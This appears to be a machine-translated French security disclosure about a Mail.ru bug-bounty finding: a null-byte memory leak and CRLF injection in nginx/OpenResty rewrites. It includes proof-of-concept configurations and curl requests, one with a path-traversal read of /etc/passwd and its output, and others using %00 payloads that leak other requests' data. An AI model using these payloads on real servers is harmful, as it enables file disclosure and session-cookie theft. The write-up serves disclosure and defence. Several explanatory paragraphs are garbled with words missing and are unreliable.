À propos d'une vulnérabilité dans ...



Il y a un an, le 21 mars 2019, dans un programme de récompense de bogue Mail.ru sur HackerOne est venu un très bon rapport de bogue de maxarr . Lors de l'incorporation d'un octet zéro (ASCII 0) dans le paramètre POST de l'une des demandes d'API Webmail qui a renvoyé une redirection HTTP, des morceaux de mémoire non initialisée ont été vus dans les données de redirection, dans lesquelles des fragments de paramètres GET et des en-têtes d'autres demandes à le même serveur.

Il s'agit d'une vulnérabilité critique car les demandes incluent des cookies de session. Quelques heures plus tard, un correctif temporaire a été effectué, qui a filtré un octet zéro (comme il s'est avéré plus tard, ce n'était pas suffisant, car il y avait la possibilité d'injecter CRLF / ASCII 13, 10, ce qui vous permet de manipuler les en-têtes et les données de la réponse HTTP, c'est moins critique, mais désagréable). Dans le même temps, le problème a été renvoyé aux analystes et développeurs de sécurité pour trouver et éliminer les causes du bogue.

Mail.ru mail est une application très compliquée, un grand nombre de composants front-end / back-end différents, à la fois open source (merci à tous les développeurs de logiciels libres) et à notre propre développement, peuvent participer à la réponse. Il a été possible d'exclure tous les composants sauf nginx et openresty et de localiser le problème avant d'appeler ngx.req.set_uri ()dans un script OpenResty qui ne s'est pas comporté comme prévu (coller un zéro octet ou un saut de ligne via les paramètres GET de la réécriture à ngx_http_rewrite_module, qui, selon la documentation, est utilisé et, semble-t-il, devrait fonctionner absolument de la même manière). Les conséquences possibles ont été éliminées, le filtrage le plus strict a été ajouté et il a été vérifié que le filtrage élimine tous les vecteurs possibles. Mais le mécanisme qui a conduit à la fuite du contenu de la mémoire est resté un mystère. Un mois plus tard, le rapport de bug a été clôturé comme autorisé, et l'analyse des causes du bug a été reportée à des temps meilleurs.

OpenResty est un plugin très populaire qui vous permet d'écrire des scripts Lua dans nginx, et il est utilisé dans plusieurs projets Mail.ru, donc le problème n'a pas été considéré comme résolu. Et après un certain temps, ils sont néanmoins revenus vers elle pour comprendre les vraies causes, les conséquences possibles et faire des recommandations aux développeurs. Le code source a été fouillé par Denis Denisov et Nikolai Ermishkin . Il s'est avéré que:

  • nginx rewrite directory traversal ( SSRF) , , Nginx Amplify Gixy (, , ). OpenResty , .

    :

    location ~ /rewrite {
        rewrite ^.*$ $arg_x;
    }
    
    location / {
        root html;
        index index.html index.htm;
    }




    curl localhost:8337/rewrite?x=/../../../../../../../etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    ...


  • nginx , , rewrite . nginx , , , , , . .

    (^@ )
    
    location ~ /memleak {
        rewrite ^.*$ "^@asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdasdf";
    }
    
    location / {
        root html;
        index index.html index.htm;
    }



    curl localhost:8337/secret -vv
    ...
    curl localhost:8337/memleak -vv
    ...
    Location: http://localhost:8337/secret
    ...

  • Nginx GET- rewrite GET-. nginx . POST . OpenResty GET POST , POST OpenResty .

    :

    location ~ /memleak {
        rewrite_by_lua_block {
            ngx.req.read_body();
            local args, err = ngx.req.get_post_args();
            ngx.req.set_uri( args["url"], true );
        }
    }
    
    location / {
        root html;
        index index.html index.htm;
    }
    


    :

    curl localhost:8337 -d "url=secret" -vv
    ...
    curl localhost:8337 -d "url=%00asdfasdfasdfasdfasdfasdfasdfasdf" -vv
    ...
    Location: http://localhost:8337/{... secret...}
    ...



Le problème a été signalé aux développeurs nginx et OpenResty, les développeurs ne considèrent pas le problème comme une erreur de sécurité dans nginx, car dans nginx lui-même, il n'y a aucun moyen d'exploiter l'erreur par l'injection de caractères spéciaux, le correctif pour révéler le contenu de la mémoire a été publié le 16 décembre. Au cours des 4 mois qui ont suivi le rapport, aucune modification n'a été apportée à OpenResty, bien qu'il ait été entendu qu'une version sûre de la fonction ngx.req.set_uri () était nécessaire. Le 18 mars 2020, nous avons publié les informations; le 21 mars, OpenResty a publié la version 1.15.8.3 , qui ajoute une vérification d'URI.

Portswigger a écrit J'ai pris un bon article d'OpenResty et Nginx (bien que le commentaire selon lequel seul un petit morceau de mémoire est révélé est incorrect et trompeur, cela est déterminé par la longueur de la ligne suivant l'octet zéro et, en l'absence de restrictions de longueur évidentes, peut être contrôlé par l'attaquant).

Alors, quelle a été l'erreur et que faire pour l'empêcher?


Y avait-il une erreur dans nginx? Oui, car une fuite de mémoire est de toute façon une erreur.

Y avait-il une erreur dans OpenResty? Oui, au moins la question de la sécurité des fonctionnalités offertes par OpenResty n'a pas été étudiée et documentée.

Une erreur de configuration / utilisation d'OpenResty a-t-elle été commise? Oui, car en l'absence d'indication explicite, une hypothèse non vérifiée a été émise quant à la sécurité de la fonctionnalité utilisée.

Laquelle de ces erreurs est une faille de sécurité de 10 000 $?Pour nous, ce n'est généralement pas important. Dans tout logiciel, en particulier à la jonction de plusieurs composants, en particulier ceux fournis par différents projets et développeurs, personne ne peut jamais garantir que toutes les fonctionnalités de leur travail sont connues et documentées et qu'il n'y a pas d'erreurs. Par conséquent, toute vulnérabilité de sécurité survient exactement là où elle affecte la sécurité.

Dans tous les cas, il est recommandé de normaliser ou de limiter / filtrer les données d'entrée, qui vont à n'importe quel module / API externe, s'il n'y a pas d'indications explicites et une compréhension sans ambiguïté que cela n'est pas nécessaire.

Errata


Selon l'expérience de l'article précédent , afin de préserver la pureté du langage:

une prime aux bogues - la compétition de chasse aux bogues
rapport de bogues - la
redirection de notification d'erreur - la redirection
opensorsny - l'open source
connue sous le nom d'errata - le travail sur les bogues

All Articles